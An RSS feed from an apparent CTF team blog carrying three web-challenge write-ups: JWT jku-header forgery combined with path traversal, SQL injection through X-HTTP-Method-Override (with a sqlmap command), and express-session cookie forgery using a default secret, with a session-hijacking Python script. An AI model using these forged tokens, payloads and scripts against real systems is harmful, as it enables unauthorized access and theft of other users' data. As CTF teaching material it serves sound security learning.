<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Sharkzwithlazers]]></title><description><![CDATA[Hacking, Security, CTF, Pizza]]></description><link>https://sharkzwithlazers.pizza/</link><image><url>https://sharkzwithlazers.pizza/favicon.png</url><title>Sharkzwithlazers</title><link>https://sharkzwithlazers.pizza/</link></image><generator>Ghost 5.67</generator><lastBuildDate>Fri, 17 Apr 2026 05:50:43 GMT</lastBuildDate><atom:link href="https://sharkzwithlazers.pizza/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Insomni'hack teaser 2020 - Inso File Manager 1 (Web)]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p><em><strong>TL;DR</strong></em><br>
Dont trust user suppplied data, don&#xB4;t screw up your jwt validation.</p>
<h1 id="understanding-the-application">Understanding the application</h1>
<p>The Ino Filemanager lets us, after registration, upload files and make them publicly available.</p>
<p>After registering a user and logging in, we observed that we were issued a JSON Web Token (<em>JWT</em></p>]]></description><link>https://sharkzwithlazers.pizza/insomnihack-teaser-2020-inso-file-manager-1-web/</link><guid isPermaLink="false">62bf73b4fac3ac460580ccfb</guid><dc:creator><![CDATA[slaxxx]]></dc:creator><pubDate>Fri, 01 Jul 2022 22:24:38 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p><em><strong>TL;DR</strong></em><br>
Dont trust user suppplied data, don&#xB4;t screw up your jwt validation.</p>
<h1 id="understanding-the-application">Understanding the application</h1>
<p>The Ino Filemanager lets us, after registration, upload files and make them publicly available.</p>
<p>After registering a user and logging in, we observed that we were issued a JSON Web Token (<em>JWT</em>).<br>
The JWT will be stored in the local storage of the used browser and it will be transmitted with every request to the server.</p>
<pre><code>{&quot;Id&quot;:0,&quot;Guid&quot;:&quot;69a96f63-cc31-4a42-bcf8-03b3e9705428&quot;,&quot;Username&quot;:&quot;SlaxXx&quot;,&quot;Password&quot;:null,&quot;Token&quot;:&quot;eyJhbGciOiJSUzI1NiIsImtpZCI6Imluc28yMCIsInR5cCI6IkpXVCIsImprdSI6Imh0dHBzOi8vZmlsZW1hbmFnZXIuaW5zb21uaWhhY2suY2gvandrLmpzb24ifQ.eyJ1bmlxdWVfbmFtZSI6IjY5YTk2ZjYzLWNjMzEtNGE0Mi1iY2Y4LTAzYjNlOTcwNTQyOCIsInJvbGUiOiJVc2VyIiwibmJmIjoxNTc5NjQ3MjQwLCJleHAiOjE1ODAyNTIwNDAsImlhdCI6MTU3OTY0NzI0MH0.aqEGHdNOaw-qcToTQkqdTvws2boYydo7wZVYJPWzjcvbEzWslsHUlyBD2yHdPj3iyPfc2p3KpTDfCRMRNoTjSyx7n6s-2N143fZ22EuD7kaSgGOuFbqs3SD0_Ot7LzVcwYJfVCUFiFC5Xw4gcwnuSraCp9x0gNtdEJCzDN5weMvH1qy6bBnm3wGDvfWBxXqho2hAqO5bOAqyBf_jZK0JKUvchQ62jEKMjcK97qBSfEY_RTAwVJYHvyspajvfbep9RWnW0rOqX22FsxHp0uJfK9WUiQFYGMl9Fal3I49qD4Cd42sLZ3ncD0IFepKDSxb5gGhf5fa3ZfPOmwOKTbKsPw&quot;,&quot;Role&quot;:&quot;User&quot;}
</code></pre>
<p>We decoded the JWT with the help of <a href="https://jwt.io/?ref=sharkzwithlazers.pizza">jwt.io</a>.<br>
For more informations about JSON Web Tokens visit <a href="https://jwt.io/introduction/?ref=sharkzwithlazers.pizza">JWT introduction</a> or the offical <a href="https://tools.ietf.org/html/rfc7519?ref=sharkzwithlazers.pizza#section-4.1.4">RFC</a>.<br>
The decoded parts are as follows:</p>
<h2 id="header">Header</h2>
<pre><code>{
  &quot;alg&quot;: &quot;RS256&quot;,
  &quot;kid&quot;: &quot;inso20&quot;,
  &quot;typ&quot;: &quot;JWT&quot;,
  &quot;jku&quot;: &quot;https://filemanager.insomnihack.ch/jwk.json&quot;
}
</code></pre>
<p><code>&quot;alg&quot;: &quot;RS256&quot;</code>: The algorithm used to sign the JWT is RSA256. The token is signed by a private key and validated against the corresponding public key.</p>
<p><code>&quot;kid&quot;: &quot;inso20&quot;</code>: The id of the used key is <em>inso20</em>.</p>
<p><code>&quot;typ&quot;: &quot;JWT&quot;</code>: This is a JSON Web Token... duh...</p>
<p><code>&quot;jku&quot;: &quot;https://filemanager.insomnihack.ch/jwk.json&quot;</code>: The public key to validate the token signature can be found at <em><a href="https://filemanager.insomnihack.ch/jwk.json?ref=sharkzwithlazers.pizza">https://filemanager.insomnihack.ch/jwk.json</a></em></p>
<h2 id="payload">Payload</h2>
<pre><code>{
  &quot;unique_name&quot;: &quot;69a96f63-cc31-4a42-bcf8-03b3e9705428&quot;,
  &quot;role&quot;: &quot;User&quot;,
  &quot;nbf&quot;: 1579647240,
  &quot;exp&quot;: 1580252040,
  &quot;iat&quot;: 1579647240
}
</code></pre>
<p><code>&quot;unique_name&quot;: &quot;69a96f63-cc31-4a42-bcf8-03b3e9705428&quot;</code>: This seems to be a unique id generated for the registered user by the application. This will be important later.</p>
<p><code>&quot;role&quot;: &quot;User&quot;</code>: A role assigned to the registered user.</p>
<p><code>&quot;nbf&quot;: 1579647240</code>: The <em>nbf</em> (not before) claim identifies the time before which the JWT MUST NOT be accepted for processing.</p>
<p><code>&quot;exp&quot;: 1580252040</code>: The <em>exp</em> (expiration time) claim identifies the expiration time on or after which the JWT MUST NOT be accepted for processing</p>
<h2 id="signature">Signature</h2>
<p>From the header section, we now know that the algorithm used to sign the JWT is RSA256 and the public certificate to validate the signature can be found at <em><a href="https://filemanager.insomnihack.ch/jwk.json?ref=sharkzwithlazers.pizza">https://filemanager.insomnihack.ch/jwk.json</a></em>.</p>
<p>Accessing the public reveals, that indeed the <code>kid</code> id is <em>inso20</em>.</p>
<pre><code>{
  &quot;kty&quot;: &quot;RSA&quot;,
  &quot;e&quot;: &quot;AQAB&quot;,
  &quot;alg&quot;: &quot;RS256&quot;,
  &quot;kid&quot;: &quot;inso20&quot;,
  &quot;n&quot;: &quot;kE2FzXws8q2GnkNaQsQBIcSe0zZsxRe35V5rCXJRX9A1J5NCHoZiJS4LFDJW3n7Z5yNdntCKk9L7wYkOAxNiqPQHWuIk4Nyg3ZViZJLbO0fyx3eq-FSYhcfIePzD9Uz1ZgjBwavUi3ya8WoMv5ffG89OeTiVy7E1M-f7ykm205Nl11wrWXyyIWiyhchTl5baZzf3xLy-zn1s9yC2z13XOst-5pde4kfntIadYcdg9__VpYo6-k5sdpTlK7jPpKfUhfmRudgdf8Q37vLT5WlGFt-zh_D_QcNqc0heb4dhwgpgaqu-NJ7n6MJn6TDXes2qb-aLDFpwlJv9qULy7UdEDw&quot;
}
</code></pre>
<p>We also see that the public key is in the JSON Web Key (JWK) format, informations regarding the JWK can be found in the offical <a href="https://tools.ietf.org/html/rfc7517?ref=sharkzwithlazers.pizza">RFC</a>.</p>
<p>The file manager of course also has an upload function.<br>
<img src="https://sharkzwithlazers.pizza/content/images/2022/07/upload.jpg" alt="upload" loading="lazy"><br>
The upload will result in the http request below</p>
<pre><code>POST /api/Files/Upload HTTP/1.1
Host: filemanager.insomnihack.ch
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Imluc28yMCIsInR5cCI6IkpXVCIsImprdSI6Imh0dHBzOi8vZmlsZW1hbmFnZXIuaW5zb21uaWhhY2suY2gvandrLmpzb24ifQ.eyJ1bmlxdWVfbmFtZSI6IjA4ZWZmMTdhLWNkOWYtNGVhZC04MjcxLTc3Y2VhN2QxZWM1YyIsInJvbGUiOiJVc2VyIiwibmJmIjoxNTc5NjQ5NzkzLCJleHAiOjE1ODAyNTQ1OTMsImlhdCI6MTU3OTY0OTc5M30.ZpZ8UX_UmW7_w4RgGIzIc2FiXtKdDPo-kUO-prQNnar_qRl1McIsbhV4lAvVSl7Fp48WXDdaMn7uqStFDAUQUo3psZX4mvoQ2tIxT7ealcbHQHg3HaM04Na6zaH-qFtlNRR5C1SryMdDiiZ-HECiA2dd87aDv3qDYFkw1h16AkO8I83CYkIuHoDWa6O8VQi8QB-3uqefZMNTnb9-NiYGmYqdsea_2wgP2lFEFp15eyqQy825Bw1QJK3nTJx1DlwZPF5ayzFnWOD2ADpkXH5ybT4Xi5lxXz7g_LoWCn_bg85vuXG05eDMWerU38j3pW9VBuVmyiWuU0PBJeLSbCJodg
Content-Type: application/json;charset=utf-8
...SNIP...

{&quot;filename&quot;:&quot;Sharkzwithlazers.pizza&quot;,&quot;content&quot;:&quot;eW9sb1Bpenph&quot;}
</code></pre>
<p>The previously received token is now transferred in the <code>Authorization</code> Header.<br>
Filename and base64 encoded file content are transmitted in the json request body.<br>
Once transmitted the server responses with a generated unique id.</p>
<pre><code>HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
...SNIP...

&quot;7db3bf68-f007-445c-8f42-c3802ec39738&quot;
</code></pre>
<p>Once uploaded we can click on the uploaded file to get the stored content, see screenshot below.<br>
<img src="https://sharkzwithlazers.pizza/content/images/2022/07/getContent.jpg" alt="getContent" loading="lazy"><br>
The click resultet in the http request below</p>
<pre><code>GET /api/Files/GetFile/7db3bf68-f007-445c-8f42-c3802ec39738 HTTP/1.1
Host: filemanager.insomnihack.ch
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Imluc28yMCIsInR5cCI6IkpXVCIsImprdSI6Imh0dHBzOi8vZmlsZW1hbmFnZXIuaW5zb21uaWhhY2suY2gvandrLmpzb24ifQ.eyJ1bmlxdWVfbmFtZSI6IjA4ZWZmMTdhLWNkOWYtNGVhZC04MjcxLTc3Y2VhN2QxZWM1YyIsInJvbGUiOiJVc2VyIiwibmJmIjoxNTc5NjQ5NzkzLCJleHAiOjE1ODAyNTQ1OTMsImlhdCI6MTU3OTY0OTc5M30.ZpZ8UX_UmW7_w4RgGIzIc2FiXtKdDPo-kUO-prQNnar_qRl1McIsbhV4lAvVSl7Fp48WXDdaMn7uqStFDAUQUo3psZX4mvoQ2tIxT7ealcbHQHg3HaM04Na6zaH-qFtlNRR5C1SryMdDiiZ-HECiA2dd87aDv3qDYFkw1h16AkO8I83CYkIuHoDWa6O8VQi8QB-3uqefZMNTnb9-NiYGmYqdsea_2wgP2lFEFp15eyqQy825Bw1QJK3nTJx1DlwZPF5ayzFnWOD2ADpkXH5ybT4Xi5lxXz7g_LoWCn_bg85vuXG05eDMWerU38j3pW9VBuVmyiWuU0PBJeLSbCJodg
...SNIP...

</code></pre>
<p>The previously received id <code>7db3bf68-f007-445c-8f42-c3802ec39738</code> is now used to access the file content.</p>
<p>Besides uploading and viewing files it is also possible to make files publicly available.<br>
After ticking the <em>public</em> checkbox a publicly available url is generated where everyone can access the uploaded file.<br>
<img src="https://sharkzwithlazers.pizza/content/images/2022/07/public.jpg" alt="set public" loading="lazy"><br>
If we disect the public url <code>.../api/files/public/7db3bf68-f007-445c-8f42-c3802ec39738/08eff17a-cd9f-4ead-8271-77cea7d1ec5c</code> we can see that the first dynamic part <code>7db3bf68-f007-445c-8f42-c3802ec39738</code> is the generated file id and the second is the <code>&quot;unique_name&quot;: &quot;69a96f63-cc31-4a42-bcf8-03b3e9705428&quot;</code> from our JWT.</p>
<p>Enough talking let`s get hacking.</p>
<h1 id="exploit">Exploit</h1>
<p><img src="https://sharkzwithlazers.pizza/img/letsgo.png" alt="letsGo" loading="lazy"></p>
<p>First, we noticed, that we can control the <code>jku</code> from the JWT.<br>
If we entered another url, for example <a href="https://sharkzwithlazers.pizza/">https://sharkzwithlazers.pizza</a> the request will hang for a significant amount of time until it fails.<br>
However we didn&#xB4;t receive an http request on our server, our guess was that external communication was not possible.<br>
But since we are able to publish files on the filemanager itself we can simply upload a JWK file there and publish it.<br>
To create such a JWK file we used <a href="https://jwt.io/?ref=sharkzwithlazers.pizza">jwt.io</a> to create a <em>RS256</em> signet JWT token.<br>
The site autogenerates private and public key for the created JWT.<br>
The public key must be converted from the PEM format used by jwt.io to JWK format.<br>
This is done by using <a href="https://irrte.ch/jwt-js-decode/pem2jwk.html?ref=sharkzwithlazers.pizza">this site</a>.<br>
To make the key id of the server and the JWT match, we had to add the keyid to the JWK.<br>
The generated JWK can be seen below and also downloaded <a href="https://sharkzwithlazers.pizza/docs/sharkz.jwk">here</a>:</p>
<pre><code>{
    &quot;kty&quot;: &quot;RSA&quot;,
    &quot;kid&quot;: &quot;inso20&quot;,
    &quot;n&quot;: &quot;nzyis1ZjfNB0bBgKFMSvvkTtwlvBsaJq7S5wA-kzeVOVpVWwkWdVha4s38XM_pa_yr47av7-z3VTmvDRyAHcaT92whREFpLv9cj5lTeJSibyr_Mrm_YtjCZVWgaOYIhwrXwKLqPr_11inWsAkfIytvHWTxZYEcXLgAXFuUuaS3uF9gEiNQwzGTU1v0FqkqTBr4B8nW3HCN47XUu0t8Y0e-lf4s4OxQawWD79J9_5d3Ry0vbV3Am1FtGJiJvOwRsIfVChDpYStTcHTCMqtvWbV6L11BWkpzGXSW4Hv43qa-GSYOD2QU68Mb59oSk2OB-BtOLpJofmbGEGgvmwyCI9Mw&quot;,
    &quot;e&quot;: &quot;AQAB&quot;
}
</code></pre>
<p>Next we saved the created JWK to a file and uploaded it to the filemanager and used the publish funtion to make it publicly available.<br>
Once uploaded we changed <code>jku</code> to point to our uploaded JWK.</p>
<pre><code>{
  &quot;alg&quot;: &quot;RS256&quot;,
  &quot;kid&quot;: &quot;inso20&quot;,
  &quot;typ&quot;: &quot;JWT&quot;,
  &quot;jku&quot;: &quot;https://filemanager.insomnihack.ch/api/files/public/d8715758-9adb-4d3b-8015-e4029ba43e7f/79a3696b-97f6-4132-9f82-ca1f42f34ff2&quot;
}
</code></pre>
<p>Since the server is now checking the JWT against our JWK we can change it to our liking and sign it using the known private key.<br>
We have done this using jwt.io, see screenshot below.<br>
<img src="https://sharkzwithlazers.pizza/content/images/2022/07/jwt.jpg" alt="jwtToken" loading="lazy"><br>
This means we can send any <code>unique_name</code> inside the JWT and the server will accept it. As far as we know, the <code>unique_name</code> is part of the file structure and will probably be the folder where our user&apos;s files are stored.<br>
Next we tried accessing the <em>web.config</em> by issuing the below <em>GetFile</em> request.<br>
We created a token where the <code>unique_name</code>  is set to <code>..\\..\\..\\..\\inetpub\\wwwroot</code> and the requested file to <code>web.config</code>.</p>
<pre><code>GET /api/Files/GetFile/web.config HTTP/1.1
Host: filemanager.insomnihack.ch
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Imluc28yMCIsInR5cCI6IkpXVCIsImprdSI6Imh0dHBzOi8vZmlsZW1hbmFnZXIuaW5zb21uaWhhY2suY2gvYXBpL2ZpbGVzL3B1YmxpYy9kODcxNTc1OC05YWRiLTRkM2ItODAxNS1lNDAyOWJhNDNlN2YvNzlhMzY5NmItOTdmNi00MTMyLTlmODItY2ExZjQyZjM0ZmYyIn0.eyJ1bmlxdWVfbmFtZSI6Ii4uXFwuLlxcLi5cXC4uXFxpbmV0cHViXFx3d3dyb290Iiwicm9sZSI6IlVzZXIiLCJuYmYiOjE1Nzk2NDcyNDAsImV4cCI6MTU4MDI1MjA0MCwiaWF0IjoxNTc5NjQ3MjQwfQ.bxV1lHqgleVRCNH9XqEWKehR3ffI5gA3Woi3T4Dheihwfw3dRx6Ge_ewfdhRZJSHnxt4l9QEJiZqiEEz_dxlsJlePg1cdypX5bJdvxfvmvqo2LGlfFRkZr26CIdTZf4NWB4PJkPb82GcVLghh-_ugNxIxRTSp2oVKWiIoBLQJgEp27bjW-ZYMzXuV0QDmq5vQRKcwwVH5l2z0s7uHNCzSMye3B6D59Wb377RQEvWaEpfVgVAwffV6igXWjluQJFEcEd_3yv60bPMRiLykZB9LpUxqugAih3huuCZRfRsGvzTkVrST0sFJd0b5scQxRah9zduM3U7BfXov89TiP42jg
...SNIP...

</code></pre>
<p>With this request we were able to read the <em>web.config</em> which contained the flag.<br>
Unfortunately I forgot to take screenshots or store the requests of the response so I&#xB4;m not able to show you that it worked. *sad face intensivies*</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[SharkyCTF 2020 - Logs in! Part 2]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>Building upon <a href="https://ctftime.org/task/11536?ref=sharkzwithlazers.pizza">part 1</a> of this challenge, we continue to gather useful insights<br>
about how the target application works by using the enabled Symfony development tools. This time, we&apos;re using these<br>
insights to hack our way into a database that&apos;s used by a backend service which</p>]]></description><link>https://sharkzwithlazers.pizza/sharkyctf-2020-logs-in-part-2/</link><guid isPermaLink="false">62bf726efac3ac460580ccd2</guid><dc:creator><![CDATA[slaxxx]]></dc:creator><pubDate>Fri, 01 Jul 2022 22:21:50 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>Building upon <a href="https://ctftime.org/task/11536?ref=sharkzwithlazers.pizza">part 1</a> of this challenge, we continue to gather useful insights<br>
about how the target application works by using the enabled Symfony development tools. This time, we&apos;re using these<br>
insights to hack our way into a database that&apos;s used by a backend service which we normally wouldn&apos;t be able to reach.</p>
<p>Via <code>/_profiler/open?file=&lt;FILE_PATH&gt;</code>, we can disclose the content of any file relative to the project&apos;s root.<br>
This has been exploited in part 1 to identify the hidden <code>/debug</code> endpoint in <code>src/Controller/MainController.php</code>:</p>
<p><img src="https://sharkzwithlazers.pizza/content/images/2022/07/2020-05-12_sharkyctf_logs-in-part2_maincontroller.png" alt="Source code of MainController.php" loading="lazy"></p>
<p><code>MainController</code>&apos;s  primary function though, is to display request logs. Users are supposed to request the page<br>
with the same HTTP method they&apos;re wishing to see the logs for:</p>
<p><img src="https://sharkzwithlazers.pizza/content/images/2022/07/2020-05-12_sharkyctf_logs-in-part2_logs.png" alt="Logs" loading="lazy"></p>
<p>Looking at the code, we noticed that the page actually calls an external API at <code>10.0.142.5</code>. The method to fetch logs<br>
for is determined by calling <code>$request-getMethod()</code>, where <code>$request</code> is an instance of Symfony&apos;s <code>Request</code> class.<br>
The documentation of <a href="https://github.com/symfony/symfony/blob/5.0/src/Symfony/Component/HttpFoundation/Request.php?ref=sharkzwithlazers.pizza#L1228"><code>Request#getMethod</code></a> turned out to be quite helpful:</p>
<blockquote>
<p>If the X-HTTP-Method-Override header is set, and if the method is a POST,<br>
then it is used to determine the &quot;real&quot; intended HTTP method.</p>
</blockquote>
<p>We couldn&apos;t tamper with our request&apos;s actual method, as the server would only process valid HTTP methods.<br>
Using <code>X-HTTP-Method-Override</code> however, we were able to call the API at <code>10.0.142.5</code> with arbitrary <code>method</code> values.<br>
This was trivially validated by <code>POST</code>ing against <code>/e48e13207341b6bffb7fb1622282247b</code>, providing the additional header <code>X-HTTP-Method-Override: PUT</code>:</p>
<p><img src="https://sharkzwithlazers.pizza/content/images/2022/07/2020-05-12_sharkyctf_logs-in-part2_logs-modified.png" alt="Logs with modified method" loading="lazy"></p>
<p>Our first reflex was to test for SQL injection, which turned out to be the right choice. Providing the value <code>PUT&apos; or 1=1; -- </code> resulted in all log entries being displayed:</p>
<p><img src="https://sharkzwithlazers.pizza/content/images/2022/07/2020-05-12_sharkyctf_logs-in-part2_logs-sqli.png" alt="SQL injection proof of concept" loading="lazy"></p>
<p>We ended up exploiting this as a blind boolean based SQLi, where responses with the log entry ID <code>15</code><br>
(the ID of one of the PUT log entries) would be considered <code>true</code>. sqlmap did the remaining work for us:</p>
<pre><code class="language-bash">$ podman run --rm -it paoloo/sqlmap \
    --url=&quot;http://logs_in.sharkyctf.xyz/e48e13207341b6bffb7fb1622282247b&quot; \
    --method=&quot;POST&quot; --headers=&quot;X-HTTP-Method-Override:PUT*&quot; --dbms=mysql \
    --technique=B --string=&quot;&lt;td&gt;15&lt;/td&gt;&quot; --suffix=&quot;; -- &quot; --tamper=&quot;charencode&quot; \
    --dump --flush-session
</code></pre>
<p>It took us a while to notice that sqlmap wouldn&apos;t URL encode the payloads, which is why adding<br>
<code>--tamper=&quot;charencode&quot;</code> was necessary. The flag was located in the <code>db.it_seems_secret</code> table:</p>
<pre><code>Database: db
Table: it_seems_secret
[1 entry]
+----+--------------------------------------------------------------------------------------------+
| id | flag                                                                                       |
+----+--------------------------------------------------------------------------------------------+
| 1  | shkCTF{CVE-2019-10913_S33m3D_Bulls5H1T_B3F0R3_TH15_Ch4LL_69e28c7b0004fe05b05800596e64343b} |
+----+--------------------------------------------------------------------------------------------+
</code></pre>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Insomni'hack teaser 2020 - Secretus (Web)]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p><em><strong>TL;DR</strong></em><br>
Reusing example configurations is bad.</p>
<p>Secretus was a pure Web challenge which presented us with a minimal form.<br>
<img src="https://sharkzwithlazers.pizza/content/images/2022/07/ins20_secretus1.png" alt="Secretus Index Page" loading="lazy"><br>
The form did actually have no purpose as there were no handlers executed upon clicking the button or<br>
doing anything else, such as making a handstand while looking at the</p>]]></description><link>https://sharkzwithlazers.pizza/insomnihack-teaser-2020-secretus-web/</link><guid isPermaLink="false">62bf7084fac3ac460580cca0</guid><dc:creator><![CDATA[slaxxx]]></dc:creator><pubDate>Fri, 01 Jul 2022 22:15:55 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p><em><strong>TL;DR</strong></em><br>
Reusing example configurations is bad.</p>
<p>Secretus was a pure Web challenge which presented us with a minimal form.<br>
<img src="https://sharkzwithlazers.pizza/content/images/2022/07/ins20_secretus1.png" alt="Secretus Index Page" loading="lazy"><br>
The form did actually have no purpose as there were no handlers executed upon clicking the button or<br>
doing anything else, such as making a handstand while looking at the form. So after searching for<br>
a quite embarassing time for the secret feature of the button or how to fix the broken form, we figured out that there were to<br>
more endpoints from interest: <strong>/secret</strong> and <strong>/debug</strong>.</p>
<p>Visiting <strong>/secret</strong> presents us with the following error message: <code>{&quot;error&quot;:&quot;INVALID_API_KEY&quot;}</code>.<br>
First, we only googled for the error message itself or parts of it<br>
and did therefore not find the correct example page with the used code.<br>
So some time went by with the first page, again... before looking for the complete json message<br>
with the exposed framkework (<code>X-Powered-By: Express</code> header) in google, to find the<br>
following page: <a href="https://www.npmjs.com/package/express-authentication?ref=sharkzwithlazers.pizza">express-authentication</a>.</p>
<p>The example code on this page returns the same value as our page, and the following part is from interest<br>
for authentication:</p>
<pre><code class="language-javascript">req.challenge = req.get(&apos;Authorization&apos;);
req.authenticated = req.authentication === &apos;secret&apos;;
</code></pre>
<p>So, if we set the header <code>Authorization: secret</code> we should be able to visit the <strong>/secret</strong> endpoint:</p>
<p><img src="https://sharkzwithlazers.pizza/img/ins20_secretus2.png" alt="Secretus Valid Auth Header" loading="lazy"></p>
<p>Voila, we found the needed header to visit the page. The <strong>/secret</strong> endpoint presents us with kinda the same<br>
form as the index page, but now we are able to insert at least 3 secrets which will be shown on the page.<br>
Interesting in this step to notice is the cookie, which is set to map the secrets to a session: <strong>connect.sid</strong>.<br>
This means, that there could be a session which has a secret we need to steal.</p>
<p><img src="https://sharkzwithlazers.pizza/content/images/2022/07/ins20_secretus2.png" alt="Secretus Secrets Page" loading="lazy"></p>
<p>But how do we find other valid sessions? There was another endpoint: <strong>/debug</strong> which we kinda ignored until now, because<br>
it only redirected us to the home page. But if we use the <em>Authorization</em> header on this endpoint, we get the following:</p>
<p><img src="https://sharkzwithlazers.pizza/content/images/2022/07/ins20_secretus4.png" alt="Secretus Debug Page" loading="lazy"></p>
<p>If we compare the returned list values against our session <code>connect.sid=s:LRTM70yfO-cQ4ikmDBZoLa_WwSnX82te.CsRwKt7H4uL4nGe4fH/0ATRfclH9E5GhhZxVB1ufa5k;</code>, we can see that<br>
the first part (after <code>s:</code> and before the first dot) is also present in the list from the <strong>/debug</strong> endpoint: <code>LRTM70yfO-cQ4ikmDBZoLa_WwSnX82te.json</code>.<br>
So we got the first part of the cookie and the second part is probably some kind of signature to verify the validity of the cookie.<br>
This time, we google for the cookie name (<code>connect.sid</code>) to find: <a href="https://github.com/expressjs/session?ref=sharkzwithlazers.pizza">express-session</a> which again<br>
pretty much looks exactly like what we got as response from secretus. Looking through the code, searching with the github search<br>
for the &quot;sign&quot; function reveals the following code to set the cookie:</p>
<pre><code class="language-javascript">function setcookie(res, name, val, secret, options) {
  var signed = &apos;s:&apos; + signature.sign(val, secret);
  var data = cookie.serialize(name, signed, options);

  debug(&apos;set-cookie %s&apos;, data);

  var prev = res.getHeader(&apos;Set-Cookie&apos;) || []
  var header = Array.isArray(prev) ? prev.concat(data) : [prev, data];

  res.setHeader(&apos;Set-Cookie&apos;, header)
}
</code></pre>
<p>Interesting for us is the second part, in which the signature is created. This once again looks exactly like what we got (the &quot;s:&quot;<br>
in front with the value and the signature). But where do we find the variable value <strong>secret</strong> for the signature? And here the &quot;theme&quot; of<br>
the challenge came through, using default values. The README gile in the repository has the following example giving us the secret <code>keboard cat</code>:</p>
<pre><code class="language-javascript">var app = express()
app.set(&apos;trust proxy&apos;, 1) // trust first proxy
app.use(session({
  secret: &apos;keyboard cat&apos;,
  resave: false,
  saveUninitialized: true,
  cookie: { secure: true }
}))
</code></pre>
<p>With the help of the original code, we build our own function reusing the frameworks for simplicity:</p>
<pre><code class="language-javascript">var express = require(&apos;express&apos;);
var app = express();
var signature = require(&apos;cookie-signature&apos;)

app.get(&apos;/&apos;, function(req, res){
	console.log(req.query.yay);
	var x = &apos;s:&apos; + signature.sign(req.query.yay, &quot;keyboard cat&quot;);
	res.send(x);
});

app.listen(3000);
</code></pre>
<p>This will start us an express service which expects the parameter <em>yay</em> on a request and uses it as value for the signature.<br>
Afterwards the complete cookie value is returned, signed and ready to use. We test it with our original session which should<br>
return <code>s:LRTM70yfO-cQ4ikmDBZoLa_WwSnX82te.CsRwKt7H4uL4nGe4fH/0ATRfclH9E5GhhZxVB1ufa5k</code> if <code>LRTM70yfO-cQ4ikmDBZoLa_WwSnX82te</code> is given:</p>
<pre><code class="language-bash">~ curl &quot;127.0.0.1:3000/?yay=LRTM70yfO-cQ4ikmDBZoLa_WwSnX82te&quot;
s:LRTM70yfO-cQ4ikmDBZoLa_WwSnX82te.CsRwKt7H4uL4nGe4fH/0ATRfclH9E5GhhZxVB1ufa5k
</code></pre>
<p>Now we can forge all existing sessions with the following steps:</p>
<ol>
<li>Visit <strong>/debug</strong> and extract the list of all sessions.</li>
<li>Create valid session cookies for each extracted session.</li>
<li>Visit the <strong>/secret</strong> endpoint with each session cookie.</li>
<li>Look for interesting stored secrets, such as the flag.</li>
</ol>
<p>We did these steps in Python as shown in the following:</p>
<pre><code class="language-python">#!/usr/bin/env python3
import requests
from lxml import html

headers = {&apos;Authorization&apos;: &apos;secret&apos;}
url = &quot;http://secretus.insomnihack.ch&quot;

# Request the debug endpoint to retrieve all sessions
r = requests.get(f&quot;{url}/debug&quot;, headers=headers)

# Parse sessions out of html and strip the .json in the end
# using list comprehension. List comprehension is awesome!
tree = html.fromstring(r.text)
all_sessions = [os.path.splitext(s)[0] for s in tree.xpath(&apos;//li/text()&apos;)]

# Iterate over each session value
for session in all_sessions:
		# Retrieve the full session cookie, querying our own express session service
		cookie_request = requests.get(f&quot;http://127.0.0.1:3000/?yay={session}&quot;)

		# Set the retrieved cookie
		cookies = {&quot;connect.sid&quot;: cookie_request.text}

		# Request the secret endpoint with our currently forges session
		get_secrets = requests.get(f&quot;{url}/secret&quot;, headers=headers, cookies=cookies, proxies={&quot;http&quot;: &quot;http://127.0.0.1:8080&quot;})

		# Extract and print all secrets from current session
		tree = html.fromstring(get_secrets.text)
		secrets = tree.xpath(&apos;//li/text()&apos;)
		if secrets:
			print(secrets)
</code></pre>
<p>The script in its full action:</p>
<p><img src="https://sharkzwithlazers.pizza/content/images/2022/07/ins20_solution.gif" alt="Secretus flag retrieval" loading="lazy"></p>
<!--kg-card-end: markdown-->]]></content:encoded></item></channel></rss>